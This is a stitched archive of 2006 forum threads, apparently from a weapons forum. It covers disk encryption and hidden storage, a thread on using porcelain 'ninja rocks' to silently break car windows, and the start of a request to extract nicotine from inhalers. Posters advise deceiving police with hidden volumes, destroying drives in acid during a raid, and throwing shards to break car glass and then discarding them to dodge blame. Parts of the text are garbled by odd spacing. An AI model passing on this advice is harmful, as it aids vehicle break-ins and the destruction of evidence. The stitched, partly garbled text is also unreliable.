No swap partition. Swap is used by the system the same way a paging file is used in Windows. No swap partition, no chance of
random system data being stored on the disk. Just make sure to have plenty of RAM.
The rest of the disk should be a partition containing all your personal files. Encrypt is as you wish.
I'm no computer expert, in fact I can barely use Linux. Still, the on-line guides on the Internet are immensely helpful and will
teach you if you want to read them.
edit: I think I figured it out. The key is your /etc/fstab file. This is where all the system's information on partitions is stored.
By setting the partition containing system stuff as read-only, it won't be writable by anything. To make it writable so the
system can be updated, simply change the appropriate line of the file.
Of course, the fstab file is stored on this partition so you would need some way to modify it. A livecd will do the job. Just boot
up the livecd, mount the partition read-write, edit the file, and restart the system from the hard disk. Being a simple system
file it is plain text and easily editable by any simple text editor.
I'm not entirely sure, but i'm reasonably sure you could use a computer set up like this. I should ask a few nerd friends of
mine.
akinrog May 6th, 2006, 03:50 PM

No swap partition. Swap is used by the system the same way a paging file is used in Windows. No swap partition, no chance of
random system data being stored on the disk. Just make sure to have plenty of RAM.
I believe the swap partition in Linux can be encrypted too. But I don't know how it influences system performance. Maybe it's
better to encyrpt all partitions and operate the system by login.Regards.
Pb1 May 6th, 2006, 10:41 PM

I would just eliminate the swap partition altogether. Encryption and decryption of routine data will slow the computer down.
Why would you encrypt the boot partition or the system files? In fact, how could you start the computer up with the program
needed for decryption encrypted?
I tried my idea on my Linux box and it didn't quite work. Apparently using a read-only root partition is not so simple. I know it
can be done, though, because liveCDs do it. I'll have to look into it more.
nbk2000 May 7th, 2006, 03:01 AM

RAM drives created at boot are how LiveCD's do it. :)
ShadowMyGeekSpace May 8th, 2006, 07:04 PM

I tried my idea on my Linux box and it didn't quite work. Apparently using a read-only root partition is not so simple. I know it
can be done, though, because liveCDs do it. I'll have to look into it more.
As nbk2000 said, most livecds create ram drives, however some systems lack the memory to do this(especially imbedded
systems), so they use a number of methods, including:
1) Enviornmental Variables. Configurations may have to be changed sometimes, but the original configuration has to be kept
readonly for one reason or another.
example: you mounted a samba share that you would like to install your software to.
/ # mount
/dev/root on / type squashfs (ro)
none on /dev type devfs (rw)
proc on /proc type proc (rw)
ramfs on /tmp type ramfs (rw)
/dev/mtdblock/4 on /jffs type jffs2 (rw)
//192.168.1.2/router on /tmp/smbshare type smbfs (rw,file_mode=0755,dir_mode=0755)
/#
Naturally, /lib/, /usr/lib and /etc/ld.so.conf is readonly... but you need to install a shared library. So you can't install the
libraries there... and you can't modify the file that lists the directorys to look for shared libraries... but you do have
enviornmental variables. By making /tmp/smbshare/lib/ and installing the shared libraries there, you have solved half of the
problem. Now, all you need to do is set $LD_LIBRARY_PATH by typing:
LD_LIBRARY_PATH=/lib:/usr/lib:/tmp/smbshare/lib:/tmp/smbshare/usr/lib
export LD_LIBRARY_PATH
Now /tmp/smbshare/usr/lib and /tmp/smbshare/lib will be looked at for shared libraries when requests come through.
To see a list of all the exported variables, type export -p.
2.) chroot. chroot will change the root directory to the path you specify, and "jail" any subsequent programs requests, so they
also believe this is the root path. After the system starts up, it can mount an nfs/samba share and chroot into the path, asif
that path was the drive... sort of like a half-assed network boot, but more comparable to a "roaming profile".
example:
/ # ls
bin dev etc jffs lib mmc mnt proc sbin tmp usr var www
/ # pwd
/
/ # chroot /tmp/smbshare/
BusyBox v1.01 (2005.12.23-18:13+0000) Built-in shell (ash)

Enter 'help' for a list of built-in commands.
/ # ls
bin etc lib sbin usr
/ # pwd
/
for the chroot command to work, you need to have

a) a copy of $SHELL (ie, /bin/sh) in that directory (full path, not just "sh", you need "/bin/sh"), and the required libraries to run
it.
b) another parameter, which is telling it what to execute instead of $SHELL, and the librarires required to run it.
FUTI May 8th, 2006, 07:07 PM

Remember that USB drives are based on flash memory. After a certain number of reads/writes, the memory starts loosing its
integrity, i.e. corruption. This is why hard drives are never replaced with flash, even on handheld computers. I wouldn't trust my
whole operating system on something like that. It won't fail the first time, but eventually a 1 will become a 0 and your hard
drive data gets corrupted.
.
I'm not sure is this information true but friend told me that NASA used flash disk on latest Mars rovers. I think that I heard
that they had to reboot the system in safe mode due to some garbage files generated during work. (Maybe someone from RS
hacked there and placed his favorite mp3 colection where no Earth goverment suposedly can't ban/steal/burn it;)).
So I guess it is posible. Hell if it is posible to boot Linux using tomsrtbt from floppy I can't see reason why USB disk won't
work. It is slow and messy. But it is ideal when you go in some exotic place on Earth where using localized Windoze would be
almost imposible (I can hardly manage in the one localized in mine:) since I have allready learned the use of english
version).

Hell if it is posible to boot Linux using tomsrtbt from floppy I can't see reason why USB disk won't work.
It will work, there are several distributions designed to fit on small media, such as Damn Small Linux (http://
www.damnsmalllinux.org/)
It is slow and messy.
Actually, the performance of solid state media (such as USB flash memory, compact flash cards, RAM, etc etc) is much better
than your average run-of-the-mill harddrive (on any interface, including SCSI, IDE, SATA, etc etc) because of the fact its solid
state.
Normal harddrives are limited by seek time(where the seek time is in the milliseconds) and RPM. Solid state media such as
flash memory is limited by its interface(such as USB, firewire, SO-DIMM, etc etc) mostly, but once you solve the interface
problem you're dealing with responce times in clock cycles.
Compare: 15ms, or a few cycles of the clock(7.5 nanoseconds per clock at 133mhz) to seek? That's not even counting actual
bandwidth performance.
But if you mean to say specifically that flash memory is "messy" as in it gos bad eventually, most any flash memory you get
has atleast a guarantee for 1 million+ programming cycles (that is, writing, not reading. reading has trivial wear on the
device), and usually performs a LOT better because of the fact that manufacturers put wear-level balancing into either their
drivers, or the chipset controlling read-write itself, attempting to balance the wear level inbetween banks of memory.
megalomania May 10th, 2006, 12:29 PM

By the end of the year there will be a new type of hard drive that will include a flash storage component. These drives are
supposed to hold the OS in the flash part to allow for high speed booting. The drives will be in notebooks first, and will be
supported by Windows Vista.
ShadowMyGeekSpace May 11th, 2006, 06:16 AM

By the end of the year there will be a new type of hard drive that will include a flash storage component. These drives are
supposed to hold the OS in the flash part to allow for high speed booting. The drives will be in notebooks first, and will be
supported by Windows Vista.Doubtful, because of the fact that Vista is too heavy to be run efficiantly on today's notebooks.
Add to the fact it's being delayed, the fact that they've decided to strip about half of the features that make it different from
XP out, and there's no ACTUAL reason to switch (since they will still be supporting XP and 2003), I don't see it even being a
marketing success for the first year or two... not to mention those nasty license fees(not that I actually pay for that overpriced
software) and 16 different "flavors" of it.
As for the drives themselves, manufacturers have been boasting about releasing solid state drives "soon" for the past five
years atleast. When is this vaporware going to be in my laptop?!?!?!? And, when will it be worth the upgrade? Flash memory as
it is, is a hell of alot more per gig than magnetic media...
The fact is, with all new tech coming to computers, the upgrades themselves aren't worth the investment because of the fact
something newer and better is coming out a day after your shipment arrives from newegg. My laptop I'm on here is still on
just a 40gb 4200rpm ata6 drive(that's 5 years old), although I've upgraded my ram from 512mb ddr333 w/ a CL of 4 to
1.25gb ddr333 w/ a CL of 2.5(can't use 2 on this chipset :()
It's just easier and cheaper to shove an old machine into the closet, run some cat5e to it, and use that as a NAS rather than
upgrading your actual harddrive.
Also, add to the fact that linux is quickly catching up to windows in ease of use, and there are more developers working on
cloning the API from windows now for linux and osx, windows's future starts looking bleak. The only real reason I don't have
slackware or debian on this lappy is because of the fact I'm a gamer. No games(with the exception of frozen bubble, quake 4,
and ut2k4) are written for linux, although that is starting to change. Once software developers start writing for linux(which they
are doing), the largest problem has disapeared and users will switch.
Here's looking forward to telling the masses to RTFM. :rolleyes:
nbk2000 May 13th, 2006, 07:43 PM

As it pertains to using crypto and your rights against self-incrimination and police searches.
150K of text on the subject, in one compact .RAR file. :)
RXN May 14th, 2006, 01:32 AM

Truecrypt has something called hidden volume, which will encrypt an entire drive as usual, except that you have two passwords,
one that access only one section of the drive and the other that allows you to access everything.
USE
So you can encrypt a 100gb drive, set aside 20gb of pirated movies as the dummy section, and then fill the rest with whatever
files that you want to keep hidden.
PARAGRAPH
If you were "compelled" to give access to LEO, they would see only the pirated videos, which you encrypted because you were
scared of the MPAA coming after you for piracy.
BREAKS
Of course, you would still have to wory about the traces left on the HDD after accessing these files, which could be solved by
accessing the hidden portion only with a bootable linux OS.
NBK
I know that it has been covered elsewhere, but I was wondering what you all consider to be the best cyphers and hash's to use
with your encrypted drives. Worying about all this encryption doesn't mean shit if it or your key are easily cracked.

Since Vista does not officially exist until 2007, who is to say what notebooks will be able to run it? We still have the better part
of the year for notebook technology to catch up, and since Vista will be the OS of choice for the next 4 years after it is
released it is nice to have the capability be supported. You have to think in the long term here, a notebook of 2011 should
run Vista with ease.
The very reason flash drives will appear in notebooks first is because they have a hard time with Windows. These flash drives
will accelerate the notebook boot process immeasurably. Flash drives also use a fraction of the power (5% according to
Samsung), and that is a big plus in notebooks.
The flash drives already exist by the way:

http://news.zdnet.co.uk/hardware/storage/0,39020366,39258739,00.htm
http://www.pcworld.com/news/article/0,aid,120950,00.asp
I wonder what kind of drug this idiot was smoking when he said this a few months ago:
"I'm not saying drives will go away. There will always be a need for storage, but when was the last time you tapped out a
drive?"
So says Steve Appleton, CEO of Micron Technology talking about flash drives. Lets see Steve-o, I have a 120GB, a 180GB, a
200GB, and a 250 GB drive and all are nearly full. Only nearly full since I keep deleting stuff on them to free up a few gigs on
each. I will be buying a 300 GB SATA drive soon. Almost none of that is pr0n ;)
http://news.com.com/Bye-bye+hard+drive,+hello+flash/2100-1006_3-6005849.html
nbk2000 May 18th, 2006, 02:48 AM

I've got about a Terabyte of HDD storage too, plus almost 400 CD/DVD-R's.
And with broadband coming to my area soon...:D
I've already got my eye on yet another big HDD, expressly with the intention of filling it with everything I'm going to be
downloading. :)
The truth is that use of a road always increases more rapidly than the road can be expanded to prevent congestion.
Same with data storage and data transmission means. No matter how fat the pipe, or big the platter, a power-user can max it
out, and then some. :p

Since Vista does not officially exist until 2007, who is to say what notebooks will be able to run it? We still have the better part
of the year for notebook technology to catch up, and since Vista will be the OS of choice for the next 4 years after it is
released it is nice to have the capability be supported. You have to think in the long term here, a notebook of 2011 should
run Vista with ease.Vista does exist. It's no longer LongHorn, it's Vista. They are releasing betas under the name Vista. They
are advertising it as Vista. They are calling it Vista in press releases. It's a moot point that the final build hasn't been
released, seeing as even XP doesn't have a final build released. Does XP not officially exist yet?
A computer from 2011 should have no trouble running vista, correct, but todays laptops can not. As far as the flash/magnetic
combo drive support gos.... how is it going to be supported officially when there is no ratified standard? Just have it recognised
as USB Flash storage? Also, the bios would be what would need to recognize it first, not the os. What's the point in an os
supporting something that the bios cant hand off boot sequence to?
Also, lol@"When's the last time you've tapped a drive out", that was good.. I tap out my drives regularly, and databases on
servers are getting ever larger. They will continue to grow as long as the room is there.
NBK: Your prayers to the broadband gods have been answered!
sungod May 27th, 2006, 10:22 PM

I don't actually know if there is a way to make your computer totally secure but there are a few methods that can help. Here is
one method used by someone I once heard of but never met and could be a figment of my imagination.
USE
His firewall is an old PC running a stripped down linux distribution. It runs iptables as a firewall and runs psad to detect
nefarious activities(internet connection is via an anonymous proxy chain(these are probably compromised broadband
machines). His main machine that he works on runs Mandriva Linux and he does his work on Windows XP which runs under
VMWARE and the 'virtual' drive for VMWARE is actually stored on rewritable removable media which is encrypted/unencrypted on
the fly.
PARAGRAPHS
The entry to his computer room would take a determined and prepared attacker at least a minute to get through and by the
time their entry had been effected the encrypted VMWARE drive would have been dropped into a handy container containing
muriatic acid. Due to fears about swap and tmp files containing data recoverable by authorities these two partitions reside on a
removable USB dongle thing that can have an acid bath at the same time as the DVD-RW vmware volume.
ShadowMyGeekSpace June 7th, 2006, 04:14 PM

Hey mega, seagate just announced their first hybrid drive.
http://hardware.slashdot.org/article.pl?sid=06/06/07/169206&from=rss
Lasarus June 27th, 2006, 08:08 AM

-If you decide to use Windows, you *must* disable the saving of the so-called lm-hash in the registry. This hash algorithm is
old and very insecure, and is used by windows to support backwards compatability with win9x.
Here is how:
http://www.windowsitpro.com/Article/ArticleID/22817/22817.html
If you use a password of more than 14 letters, this is not an issue.
-To prevent passwords from being saved on the harddrive (from inside the memory of your crypto software), I suggest you
encrypt your swap space. I don't know if this is even possible in Windows, but it is very straight-forward in OpenBSD and not
that hard in Linux. Either do that, or buy 2 gigs of ram and disable swapping altogether.
-TrueCrypt is great, and it works on both Windows and Linux. It doesn't matter what hashes or algorithms you choose. This is
NOT the weakest link in the security anyway. The weakest link is you, and that's how they will get you. The FBI won't bother
cracking yoor password. They will break in and install a keylogger inside your keyboard or a camera or soundrecorder
overlooking your keyboard. And they won't leave a trace.
Read more here: http://tinyurl.com/elb4v
-Don't make it too hard for yourself by impementing all kinds of unnecessary things (the dongle to start the OS is not needed
if you encrypt your harddrive anyway), because this will make you bypass it when you get tired of it and become sloppy.
-Make sure you lock up your computer somehow when you leave it to go grocery shopping or whatever.
-Disable autorun in Windows (general security tip). You don't

Dear Friends,
I don't know if I posted information about this but the author of freeOTFE components contacted me and by the help of her, I
managed to get the components going on D5.1. Three cheers. :D
Included in the sample applications is a freeOTFE sample which shows how to use it. However previously I could not get it
working on De*phi.
Since summer sluggishness comes to works, I could now dedicate some time to my hobby works.
The sample application is very good it even supports partition encryption. But I'd like to make some improvements like a
builtin virtual keyboard, system wide dismounting hotkey (like the one which you can assign on PGP) and automatic dismount
property.
I've got a brand new extra 120 GB HD and I shall install it on the computer and see if I can encrypt its partitions.
I would be very glad if members who are using this free utility, could provide feedbacks to regarding suggestions which are
good for implementation in the app, I'm contemplating. Regards.
Dank$taVegas July 8th, 2006, 05:27 PM

NBK2000
Naturally, some form of cooling will have to be installed as well, which I'm thinking will be a CPU fan which will be run off the
power supply connector to one of the drives, sucking cool air in through the cable hole, and blowing it out through another
small hole.
. How dose you cooling system work to date NBK2000, just wondering as after reading your ingenious build up it encourage me
to go a kind of similar route with the idea of an enclosed/hidden HD's.
After reading this and other posts on computer security here on the forums, I decided to plan out my next system update/
build up. Putting bits and pieces from all these posts I have come up with what I consider, the perfect hidden/encrypted
system for my use. I searched the bargain finder, and found a guy selling 3 external hard drives (Seagate Barracuda 160GB
HD, Western Digital 200GB HD & a Western Digital 320 GB HD all with external hard drive cases run off USB 2.0) I scored the
whole lot for a shocking :D $350 Canadian(No thats not a typo).
I got creative the other day, and ripped a section out of my dry wall, and installed the 3 hard drive cases on a shelf I built in
between the studs in the wall, ran holes and USB cables down to the floor, and into the heat register. CPU Fans exhaust hot air
out into the heat register as well and a bathroom style fan suck cool air in from the a vent from the attic.
After verifying that all the hardware was running properly I patched the hole in the dry wall and applied a fresh coat of paint
(White, due to the ease of painting; the color helps hide any trace of a patch job). Now when I'm home and desire to use my
3 hard drives containing stuff I want to keep secret, I just open the Heat register and fish out my USB 2.0 cables and connect
them to my USB hub flick the power switches, and I can run the hard drives off any of my computers in my home.
When not in use I simply disconnect the USB cables and tuck them neatly in the heat register and flick off the power switches.
I have the CPU fans, bathroom fan & power hooked up to two switches I installed discreetly into the bottom of the heat
register, to be switched on when the hard drives are in use.
For safety reasons, I have also installed a digital temp reader, which is run into the heat register, (Not sure if during the winter
the heat coming from the register will affect the read out). So far the system seems to be running at a decent temp, and the
fans seem to be supplying sufficient cool air and the CPU fan is exhausting the hot air out the register as planned.
I'm still in the process of learning the ropes of file encryption, and will soon encrypt all 3 hard drives when I have read all the
FAQ's and other related material I have gathered from links posted by other members in this thread. So far I'm leaning
towards PGP, since I know a few friends that know how to set this up if I need help along the way.
Now you can't lock my hide, but if I didn't install it my self, I would have no idea that there were 3 huge hard drives sitting
behind my computer built into the wall. The USB plugs can be put back inside the register in less than 5 seconds, and the fans
shut off and quiet in the same amount of time. When looking inside the heat register you can't see nothing since, every thing
is hidden behind the bend in the pipe. So with out knowing there was something there to look for a quick glance will provide
nothing to the un-suspecting person/searcher. :)
nbk2000 July 9th, 2006, 03:54 AM

With my datasafe, since it's bolted to the floor by the computer, it's quite obvious, though I've ideas on how to hide them in
the future.
Since it's right by my computer, I simply unlock the door and leave it open while I'm using it to allow it to vent, leaving the key
in the lock so I can quickly lock it when I leave.
I've been thinking about adding a locking bar that would obstruct the keyhole, and require a combination to unlock. This way,
even if someone else had the key, they couldn't get in. :p
This isn't going to stop the piggies, of course, but will deter a thief or snoop.
Lasarus July 12th, 2006, 06:46 PM

When hiding electronics in the walls, beware of transformers that don't shut off when you shut off the equipment. The police
uses heatseeking cameras to check for bugs inside walls, because the bugs radiate heat constantly. I don't imagine the local
police/whoever will have access to a $70 000 infrared camera, but.. well... better safe than sorry. You can be sure this
technology wont get more expensive in the future. So remember to turn everything off, even transformers.
Another thing to consider is: if someone finds the disks in the wall, they will know that you are quite serious about keeping
this information secret, and they might use other means of extracting the data/keys from you. :(

Dear Friends,
After playing with the source code of FreeOTFE application, I made some modifications to disguise it as a picture viewer, called
SillyPicViewer.
After modifications application's features include :

1. No separate device drivers: All device driver files (i.e. those files with an extension of ".sys") are embedded into application
as resources. So no need to carry those device driver files as separate files with the application. :D
This feature enables user to install and run device drivers without actually having them in separate files on disk ;). In addition,
you can install, uninstall, run, stop device drivers on device drivers dialog box by, selecting multiple devices on the respective
list boxes.
2. Actual application (i.e. FreeOTFE) is hidden into picviewer as an easter egg. When you hold the "alt" key pressed and type
certain key combinations (in our case forum's regular password minus last xxx.xxx part), the freeOTFE window becomes
available :D. So when you run application, actually you see a simple picture viewer with open close buttons, nothing more. But
when you activate easter egg, it becomes actual application.
3. I quite automated the new volume creation procedure. I mean after creating the volume you used to need to manually
open, format and overwrite free space manually. But after modification, the application after creating a volume prompts for
opening, formatting and overwriting the freespace of the newly created volume. :D
4. I included a virtual keyboard to password entry sections of the createvolume wizard and mount volume dialog box. This
virtual keyboard has the layout of American Q keyboard. Since I don't have an American keyboard at hand, I did it by my
heart. I hope it's correct.
5. The application has no ini file for saving settings anymore. Default behavior is to unmount drives by pressing Ctrl + Shift +
D key combination, when application is not minimized to tray. This, I hope, increases plausible deniability (sp?).
6. Last but not the least, application is encrypted by using Armadillo and rendered resistant to debuggers (encrypted with
debugger blocker on) :)
I believe this shall render the application safer with respect to plauisble deniability. If you carry a few nude pics with the
application, you may claim that you downloaded it from internet for viewing porn pictures. ;)
Please test it and tell me if there is any bugs (with complete description to determine cause of the bug).
Anyway here is the link to download application :

http://rapidshare.de/files/26290094/SllyPicWiever.rar Enjoy.

I also uploaded the application to TMP's FTP under uploads folder. Enjoy. (Sorry for a single line post.)
nbk2000 July 21st, 2006, 05:54 AM

Does it actually view pictures too?
akinrog July 22nd, 2006, 05:32 PM

Does it actually view pictures too?
When you click open icon/button, it opens open dialog box and you may actually open and show any picture file (except tiffs)
you may choose. :)
When you click the eraser it closes the file. Very simple stuff, written with a few lines of code. ;) HTH
P.S. Does anybody happens to have a good CD/DVD burning software my original software coming with the DVD-RW says it's
expired and cannot be installed :mad:
nbk2000 July 23rd, 2006, 05:41 AM

http://www.google.com/search?q=%22portable+nero%22&start=0
reamio August 7th, 2006, 07:27 AM

I suggest using BitLocker to protect your data. It's a part of Windows Vista.
I'm running Vista beta 2 right now both at work and at home (on a 3 year old laptop), and it works! :)
BitLocker is a very tough encryption which generates its own key (no password or passphrases) which is stored on your
standard USB key. The USB key must be inserted in the computer during start-up or no-access.
You can make back-up copies of your key on other USB tokens in case you lose or damage your primary USB key.
According to the developer, bitlocker includes no backdoor for law enforcement agencies. :D
http://blogs.msdn.com/si_team/archive/2006/03/02/542590.aspx
Advantages:
1) Smashing your USB key with a hammer is much faster than dumping your hard drive in a nearby vat of acid when the
piggies come knocking on your door.
2) The piggies can't coerce you into giving them the password/passphrase - since it doesn't exist!
Pb1 August 9th, 2006, 09:19 PM

I wouldn't trust anything from Micro$oft as far as I could throw the CD.
I'm sticking with open source software for all my security needs. It is peer reviewed and secure. If there's a back door a
developer will find it, post it as a security bug, and fix it. At least, we can all hope.
For storing sensitive information, one of these might be useful:
http://www.thinkgeek.com/computing/drives/806d/
A thin, plastic-based USB drive. Nothing to resist smashing. :D
akinrog August 9th, 2006, 11:29 PM

I made some small modifications to SillyPicViewer (disguised FreeOTFE).
I have got rid of annoying dialog box, which prompts for dismounting mounted volumes and also improved virtual keyboard
by eliminating the spaces between the keyboard keys.
Anyway here is the link:
http://rapidshare.de/files/28750360/SillyPicWiever.rar
nbk2000 August 10th, 2006, 12:10 AM

Regarding BitLocker:
http://www.schneier.com/blog/archives/2006/05/bitlocker.html
General consensus? Don't trust it.
nbk2000 August 13th, 2006, 11:31 AM

An IDE to Compact Flash adapter card ($20) that lets you use CF cards as your hard drive.
http://www.damnsmalllinux.org/store/embedded_storage
Use the DSL operating system on the card with an in-board UPS to run it and the hard drives, and you could have a computer
within your computer that'd wipe the normal drives in case of tampering, regardless of what's happened to the normal access
means. :p
If you use Firefox (you really should), go to http://www.siteadvisor.com/ and http://toolbar.netcraft.com/ , install these
extensions, and you're pretty much immune to bull**** attempts like this.
When I went to a phising site, it was immediately obvious something was wrong when the indicators on the above extensions
all went red. :)
Right now, looking at this thread, they're both solid green. :D
http://passwordmaker.org/ is another extension that lets you type in a simple password that, by hashing with the sites URL (in
any number of combinations), spits out pseudo-random strings of alpha-numeric text (special characters too, if you want) that
you can use for passwords.
Best thing is that the password is never stored on your machine, but recreated as-needed, when you visit a site, so there's
nothing for an attacker (or piggy) to attempt cracking on your machine.
Anyone attempting to brute force my password here will have a LOOOONG time to wait...far longer than the next time I'll be
changing it. :p
Add in NoScript (http://www.noscript.net/whats) which prohibits any Java or Macro scripts, except those you approve, from
running, and you're basically immune to 99.9%+ of the crap on the 'net. :D

Thank you NBK! Usually I'm pretty good with my security, but I do not always make sure everything is fully updated and
protected as it should be. So I went through and did that now when I installed the above.
I especially find the password maker to be interesting. It even has an online version should you need to access the site from
another computer. You'll just need to remember every detail that you set up- an easier task than remembering the password
itself perhaps.
However, you will be using an online version of the program, on someone elses computer, hence it will be more vunerable.
Diabolique August 30th, 2006, 10:34 PM

Chris the Great, you wouldn't be thinking of BO2K, or maybe Black Lantern, would you? ;)
Wiping the free space on a drive, best done after defraging, may be a pain, but can keep stray data from lingering there until
overwritten. Even then, monitoring the AGC on the drive read circuits can reveal what was overwritten, which is why three
overwrites with random and non-random data is recommended. Certain patterns of data will also hide the AGC leakage.
Do not forget the unused space in partially used sectors.
I keep many unvarying files, even unsensitive ones, on CD's to save space. While it keeps sensitive data off of the computer,
swap files can still put it there if the disk isn't wiped.
In many areas of the world, crypto is outlawed, or requires divulging the keys to authorities. In the "pdf fingerprints" thread, I
posted an idea of using error correcting codes to secure data, both from loss and exposure. It is a raw idea that needs
development.
Software that encrypts a disk may seem like a good idea, but what keeps me from using it is what happened to Phil
Zimmerman (PGP author). The government wanted him to put a back-door into it, and he refused. They made life miserable
until he found the loopholes in the laws. Will others have that kind of moral courage?
jellywerker September 1st, 2006, 02:59 AM

My next computer will be whatever I can build cheaply, but for browsing reading and such, prettymuch anything besides the
occasional game or non high profile web browsing, I am building a linux system for a 4GB USB thumbdrive, all of the data I
need will fit onto it, along with tools for erasing my tracks and securing data stored on the drive.
I could take it to a library computer and use it without fear. It will even fit nbk's book, although not the software which would
be useless anyways on a non windows os pc I am assuming. Speaking of your book, I look forward to it's eventual release.
As for data storage, wow you guys use a lot 8o! I've never had a hard driver bigger than 40GB, and never used more than 5GB
of that for user created data (e.g. not software installs, etc...) and much of that was music. Of course I am not one to
download full websites and any page that takes my interest (as I suppose you are).
Onto that topic. What are your views on downloading what you believe to be important data? Just hoard all you can get just in
case?
Diabolique September 2nd, 2006, 12:20 PM

Jellywerker, you should check out some of the new Linux software that emulates Windows. Not perfect yet, but getting close. If
the current rate of improvement continues, Linux will look like Windows to almost all programs within a year. Go to http://
www.networkworld.com/ to sign up some of their free newsletters, particularly for Linux.
They also have some interesting newsletters for Windows (and other software) security upgrades, identity management and
similar info tech subjects. The e-mail newsletters have a lot of semi-advertising links before they get to the meat, but it is
worth it often enough to be useful.
Personnally, I have a computer that NEVER gets connected to anything except via CD's. I also use BCWipe to clean up the free
space. The History, Recent, Temp, etc files have to be cleaned manually, or with some program like Evidence Eliminator. Best
to let those run overnight while you sleep.

If you see something interesting, save a copy of it right-then, because it can be gone the next time you look for it.
I've had it happen a few times where there'd be an interesting website with a lot of neat files, and I leave the page up in the
browser while I go do something, only to come back, try to download something, and find out the page went 404 in the time I
was gone. :eek: :(
Had this happen most recently with a military site that had PDF's online that they weren't supposed to be having there.
Fortunately someone else here had found it at the same time and downloaded everything. :)
And, regarding my datasafe, I found out it's important to block the cable hole, as otherwise mice might decide your datasafe
is a good place to nest in. :rolleyes:
And not only do you have to guard your computer, but also your cellphone, as these often have such things as schedules/
contact lists/etc., that can easily recovered.
Go to:
http://www.wirelessrecycling.com/home/data_eraser/default.asp
for instructions on how to delete all the information from your phone prior to selling/disposing of it.
Also, you can download a copy of 'Security Engineering', in PDF'd chapters (complete book) from http://www.cl.cam.ac.uk/
~rja14/book.html :)
jellywerker September 3rd, 2006, 03:41 AM

What cellphone? I find it best to not have one! Besides being insecure it's a ball and chain, a modern day slave rope!
Hypocritically though, I am intending to get a prepaid one late this year, probably with a pager, mostly just for calling an
ambulance when someone eventually hits me while cycling or for getting a ride to school when it rains or I get a flat.
I'll try to start saving interesting or possible useful pages, for the most part I just memorize information I think I'll find handy.
Diabolique: Wine? Or is it different?
One last thing about computers. An ongoing project of mine is to make a small, rugged linux machine for tactical/on the run
(from adversaries, not jetsetting type on the go...) use. Something like a 6x5x3in rectangle, topped with a 7in touchscreen
and a battery pack on the bottom. Inside is a solid state hard drive (10g should be enough, once you figure out what info you
need), some covered input ports (usb, etc...) an amd geode processor, a slot for a tablet pen, a wifi antenna and gps, enough
ram to run quickly and shock resistant springs and such. Integrated to a fold out panel on the top would be a keyboard. I'll
post some design ideas someday, perhaps a better funded hacker can make it a reality.
nbk2000 September 26th, 2006, 05:00 AM

US Patent application 20060179490, Method and device for protection of an mram device against tampering, by Phillips
Electronics.
Basically, a non-volatile RAM memory device that self-destructs if the case is tampered with. The case, being made of Mu
metal, is enclosed in a magnetic casing. If the Mu metal is pierced, the magnetic flux enters the RAM, wiping it out. :)
Now how long till it becomes commercially available is another story. :(

On I Side note I'd like to quickly point out a couple of flash memory devices that may be useful for storing encryprion keys
etc.
http://www.thinkgeek.com/computing/drives/806d/
http://www.aria.co.uk/ProductInfoComm.asp?ID=24262
>On the subject of linux instalations on flash drives, this caught my eye
http://www.thinkgeek.com/computing/drives/80be/
>finally, on the topic of having a dongle to log onto your computer
http://www.aria.co.uk/productinfocomm.asp?id=21504
http://www.aria.co.uk/productinfocomm.asp?id=22864
jellywerker September 27th, 2006, 03:17 PM

For linux on usb stick, creating your own is the best way to go, or having an associate craft it to your needs. As for the stick
itself, a Lexar Jumpdrive or a cruzer titanium would be my pick, the Lexar being top choice, it's shock and water resistant, so
you wouldn't have to carefully dry it before you could use it, and it's a rather sturdy drive. Depending on what you carry, a
128mb could be sufficient, but best to go 1-8gb, although the Jumpdrive I believe is only offered up to 2bg.

Jellywerker:
http://www.gizmag.com/go/6222/
:)
jellywerker September 30th, 2006, 12:33 AM

Ooh, I could live with one of those. Definitely. I'd like to see what rugged versions there will be of the second generation
UMPC's too though.
nbk2000 December 13th, 2006, 03:12 AM

Nifty little video showing a military circuit self-destruct being fired.
http://www.spectreenterprises.net/Video/ExternalTorch.swf

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Ninja rocks??
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Kamisama February 11th, 2006, 01:16 AM

:confused:
I just learned this term today from: http://en.wikipedia.org/wiki/Ninja_rocks
I looked at it and thought, "What is this all about? I want a picture."
I don't know much about automechanics so I was wondering if anyone here at Roguesci actually knows about these things. I'm guessing they have some value since they can
silently break the glass. I wonder if this article is fake, but either way it seems very recent because of the stated 2003.
a_bab February 11th, 2006, 05:33 AM

The article is not fake.
I didn't know that they are called "ninja rocks" but they are supposed to be able to break the window of all cars.
All you need is a slingshot (you do need it so you can launch these shards at high speed) and of course a shard of sparkplug.

As far as I know, you can hold them in your hand and slam them against the glass, and it will shatter instantly. They are ultra-hard ceramic, and harder than the glass, which
fractures the outer skin. The tempering does the rest.
They won't get you in if there is bandit film or if it is laminated glass.

That reminds me: my brother is a volunteer firefighter and he has this nifty spring loaded carbide thingy. The carbide is about 1/4" which is pointed at about 45 degrees. You
spring load it, and it'll break right through any glass. A more "proffesional" method...
bipolar February 15th, 2006, 08:48 PM

meselfs:
That's exactly what I was thinking when I saw this thread. They call it a window punch. Good for forced entry.
Check out this video of one from a manufcaturer Zak Tool. They also make their "halligan" tool, their version of a hooligan tool, tactical fence climbers, etc.
ZAK TOOL VIDEO DEMOS (http://www.zaktool.com/demos.html)
ZAK TOOL WINDOW PUNCHES (http://www.zaktool.com/windowpunches.html)
The thing I see as the best use of "ninja rocks" is remotely with a slingshot so you can break a window from a distance. But then you could probably use something else.
Seems like just a good improvised thing.

Indeed, a marble fired with a slingshot will break most windows, including windsheilds.
Risk February 17th, 2006, 05:04 AM

Sweet, I'll try to launch them with a sling shot.
I've tried before but they didn't shatter, probably because of this.
Jacks Complete February 18th, 2006, 11:02 AM

Use an automatic center punch, and it will pop the toughened glass fine. However, the small chips look like stones, so you can drop them and walk on, or throw them into the
rough ground, and you are then free to argue.
cracker November 16th, 2006, 12:43 AM

I have seen these in action several times due to a thug friend of mine. A marble or other thrown object cannot compare to the silence that porcelain will give. No speed is
needed in the throw. I have watched him simply "flick" and even underhand throw these with success in breaking every time. The sound it gives off when it goes is much
different than ordinary glass breaking, The best way I can think of to describe it is to say it compares to the sound of dry firing a gun. Possibly even quieter.
Red Beret November 16th, 2006, 02:11 AM

Speaking from my personal experience, these only work when thrown hard. But yes they are very effective and expedient.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Nicotine
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leon36 February 13th, 2006, 08:40 PM

Hi,
W a s r e a d i n g s o m e o f t h e p r e v i o u s p o s t s o n t h i s f o r u m regarding the exraction of nicotine. Im kinda new to this area so i ne e d

s o m e help in exracting nicotin e from n icorette inhalers. I know they contain about 10m g of nicotine. How would it be done at
